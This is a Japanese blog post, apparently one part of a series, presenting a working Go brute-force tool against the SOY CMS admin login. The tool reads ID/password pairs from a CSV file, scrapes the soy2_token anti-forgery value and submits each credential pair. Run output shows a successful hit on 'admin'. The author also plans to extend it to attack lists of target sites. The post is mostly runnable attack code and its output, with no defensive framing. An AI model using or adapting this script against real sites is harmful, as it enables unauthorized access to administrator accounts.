SOY CMSに総当り攻撃を仕掛けてみる。その3では、コード内にパスワードリストを作って、そのリストに従ってログインのチェックを行った。
これだと、試したいものが膨大になるとその時点でコードの可読性が落ちる。
ということで、
IDとパスワードはCSVファイルにまとめて、総当たり攻撃を実行した時にCSVファイルを読み込んでログインのチェックを行うという処理に変更してみる。
※CSVファイルのエンコードはUTF-8での話です
前回のコードに太文字のコードを追加してみた。
package main import ( "bufio" "encoding/csv" "fmt" "io" "net/http" "net/url" "os" "regexp" "strings" "sync" ) type Jar struct { lk sync.Mutex cookies map[string][]*http.Cookie } func NewJar() *Jar { jar := new(Jar) jar.cookies = make(map[string][]*http.Cookie) return jar } func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) { jar.lk.Lock() jar.cookies[u.Host] = cookies jar.lk.Unlock() } func (jar *Jar) Cookies(u *url.URL) []*http.Cookie { return jar.cookies[u.Host] } func main() { var token string //IDとパスワードを保存するための配列 var ids []string var pws []string //IDとパスワードのリストを読み込む f, _ := os.Open("list.csv") defer f.Close() r := csv.NewReader(f) for { record, err := r.Read() //最後の行の場合は読み込みを終了 if err == io.EOF { break } if len(record[0]) > 0 { ids = append(ids, record[0]) } if len(record[1]) > 0 { pws = append(pws, record[1]) } } jar := NewJar() client := http.Client{ Jar: jar, } u := "http://example.com/cms/admin/" for _, user := range ids { //ヒットした場合はtrueにして、全体の処理を終了させる finished := false for _, pw := range pws { //ログインに成功したか? success := true resp, _ := client.Get(u) s := bufio.NewScanner(resp.Body) for s.Scan() { if hit := strings.Index(s.Text(), "soy2_token"); hit > 0 { re := regexp.MustCompile("value=\"(.*)\"") res := re.FindString(s.Text()) res = strings.Replace(res, "value=", "", 1) token = strings.Trim(res, "\"") } } resp.Body.Close() params := url.Values{} params.Add("soy2_token", token) params.Add("Auth[name]", user) params.Add("Auth[password]", pw) resp, _ = client.PostForm(u, params) defer resp.Body.Close() s = bufio.NewScanner(resp.Body) for s.Scan() { if hit := strings.Index(s.Text(), "failed_message"); hit > 0 { fmt.Println("ログイン失敗") success = false } } if success == true { fmt.Println("ログイン成功") fmt.Println("ヒットしたID:", user, "Pw:", pw) finished = true break } } if finished == true { break } } }
これで、登録したIDとパスワードを掛けあわせた分だけトライすることができるようになった。
それではこのコードを実行してみると、
$:~/ go run test.go ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン失敗 ログイン成功 ヒットしたID: admin Pw: ********
ヒットしたことが確認できた。
これでIDとパスワードの辞書を一度作成したら使いまわせるということになった。
あとはメモリーの使い方をもっとスリムにして、大量のパスワードを扱える様にする。
プログラムを実行するときに、対象サイトのURLも何らかの形で指定できる様にして、対象サイトリストを順に攻撃できる様にしたい。
あとは、今はログイン失敗で判定しているけど、ログイン成功での判定に変更したい。
等々やりたいことはたくさんあるけど、コードの作成はここらへんでやめておくことにする。